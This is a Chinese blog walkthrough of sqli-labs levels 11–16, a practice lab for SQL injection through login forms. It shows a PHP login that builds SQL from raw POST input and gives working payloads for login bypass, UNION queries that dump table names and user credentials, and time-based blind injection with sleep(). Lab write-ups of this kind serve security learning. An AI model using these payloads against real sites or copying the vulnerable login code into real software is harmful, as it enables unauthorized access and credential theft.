表单注入——sqli-labs第11~16关

分手后的思念是犯贱 2023-03-02 07:39 104阅读 0赞

### 目录 ###

*   *  第11关
     *   *  0、万能账号、密码的前提
         *  1、判断是否POST注入
         *  2、猜测后台SQL语句
         *  3、判断闭合符
         *  4 、查询列数
         *  5、找显示位
         *  6、查库名
         *  7、查表名
         *  8、查列名
         *  9、找账号密码
     *  第12关
     *  第13关
     *  第14关
     *   *  1
         *  2
         *  3
         *  4
         *  5
         *  6
     *  第15关
     *  第16关

## 第11关 ##

### 0、万能账号、密码的前提 ###

登录的验证方式如下面这种

……
    $Name = $_POST['userName'];
    $pwd  = $_POST['password'];
    
    $loginSQL = "select * from users where userName='$Name' and password='$pwd'";
    echo $loginSQL;
    $resultLogin = mysql_query($loginSQL);
    if (mysql_num_rows($resultLogin) > 0) { 
        echo "登录成功";
    } else { 
        echo "登录失败";
    }
    closeConnect();
    ……

重点是这句话

select * from users where userName='$Name' and password='$pwd'

加入 `' or 1#` 后，变成这样：

select * from users where userName='$Name ' or 1# ' and password='$pwd'"

`#`后面都被注释，即此语句恒为真。所以登录成功

### 1、判断是否POST注入 ###

观察是post还是get  
可以看url的变化，或者看源码  
1.  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70]  
2.

![在这里插入图片描述][20200728104235797.png]

### 2、猜测后台SQL语句 ###

### 3、判断闭合符 ###

在表单里分别输入`XXXX' or 1#` , `xxxx" or 1#`。然后按下submit，观察反应

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 1]![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 2]  
发现`单引号是闭合符`。

### 4 、查询列数 ###

xxxx ' order by 3 #

xxxx ' order by 2 #

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 3]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 4]

说明是两列。

### 5、找显示位 ###

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 5]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 6]

### 6、查库名 ###

cwa' union select 1,database()#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 7]

### 7、查表名 ###

cwa' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 8]

### 8、查列名 ###

cwa' union select 1,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 9]

### 9、找账号密码 ###

cwa' union select 1,group_concat(concat_ws(",",username,password) SEPARATOR "|") from users #

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 10]

## 第12关 ##

和第11关一样，只不过闭合符是`")`

## 第13关 ##

查列数  
`admin') order by 2#`

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 11]  
查显示位，没有输出  
`admin') union select 1,2#`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 12]

所以使用布尔盲注，参考[第五关的第二种方法][Link 1]

## 第14关 ##

### 1 ###

……  
ibeb’ order by 5\#  
ibeb") order by 5\#  
ibeb’) order by 5\#

`ibeb" order by 5#`

找出闭合符是`"`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 13]

### 2 ###

两列

`wsgver" order by 2 #`

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 14]  
发现不回显，所以可以使用延迟盲注

`fwfwf" union select 1,2#`

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 15]

### 3 ###

`ibeb" or if(3>2,sleep(2),1)#`

发现延迟不止2秒，猜测应该是查询的数据太多，每个数据延迟2秒，加起来就很长时间了。所以可以把延迟时间改为0.2，可以减少等待的时间。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 16]

### 4 ###

数据库名是8位  
`vvwc" or if(length(database())>7,sleep(3),1) #`  
`vvwc" or if(length(database())>8,sleep(3),1) #`

### 5 ###

第一位的ASCII值是115，是s  
`vvwc" or if(ascii(substr(database(),1,1))>114,sleep(3),1) #`  
`vvwc" or if(ascii(substr(database(),1,1))>115,sleep(3),1) #`

### 6 ###

…………

## 第15关 ##

闭合符是`'`  
可以使用布尔盲注

## 第16关 ##

闭合符是`")`

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70]: /images/20230208/a7fb01f899d34f6ea44045f6fc809287.png
[20200728104235797.png]: /images/20230208/109dfe94c24642229b5ad247dcb8f0b1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200728185326117.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 2]: /images/20230208/92fbadc0a3ba4ffd90c27c866af4af5d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 3]: /images/20230208/4d7b6b6beb4b469399f808ff4575b399.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 4]: /images/20230208/95b64eb30eea43cdbe178b61e12ea5c6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 5]: /images/20230208/f2cf95049a8d470884ab40f1cdfb9b11.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 6]: /images/20230208/301a9ff03a524c26bcfd21ee2652fb27.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 7]: /images/20230208/7161c075c2014c6488d14d7cf0b344c3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 8]: /images/20230208/128afd4ee51f4695bf82d19dc3c609a2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 9]: /images/20230208/81b5be976b224a439c3d497795022872.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 10]: /images/20230208/77b0df8cd40644f09558d8bfe07c658e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 11]: /images/20230208/c61cde17891a47b0a5fc4baaa61267ab.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 12]: /images/20230208/271fc9d1d74c4649bf7e12ad6a6bbd9a.png
[Link 1]: https://blog.csdn.net/weixin_45663905/article/details/107410090
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 13]: /images/20230208/d53e3b03e3cf40c09bca91df50fedc4b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 14]: /images/20230208/b1639c2cba054a5e8378e43b251b2139.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 15]: /images/20230208/85c96edbc33d4b6797972b4e3eb3df0e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70 16]: /images/20230208/a61437ca235343d6a782db3e3f9fcfef.png